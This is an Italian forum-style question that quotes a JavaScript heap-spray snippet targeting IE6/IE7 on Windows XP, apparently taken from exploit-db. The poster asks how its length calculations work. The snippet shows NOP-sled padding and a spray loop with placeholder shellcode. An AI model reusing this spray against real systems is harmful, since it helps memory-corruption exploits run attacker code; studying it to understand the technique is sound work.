Questo è il codice usato nell'heap spray su ie6, ie7, Windows XP, trovato in exploit-db.
<script >
var shellcode = unescape('%u41%u41');
var bigblock = unescape('%u90%u90');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
</script>
Ho alcune domande su questo codice.Penso che il valore della variabile slackspace
sia 22, e la riga successiva, terminando l'esecuzione del ciclo, la lunghezza di bigblock
è 22 con in realtà 44 byte di 0x90
. Poi , riga successiva, la lunghezza di fillblock
è 11 e il suo contenuto è 22 byte di 0x90
. Di seguito, la lunghezza di block
è 0? La variabile block
è una variabile stringa con la lunghezza di 0? E come capire la seguente parte di codice? Qualcuno mi dice come capire il codice?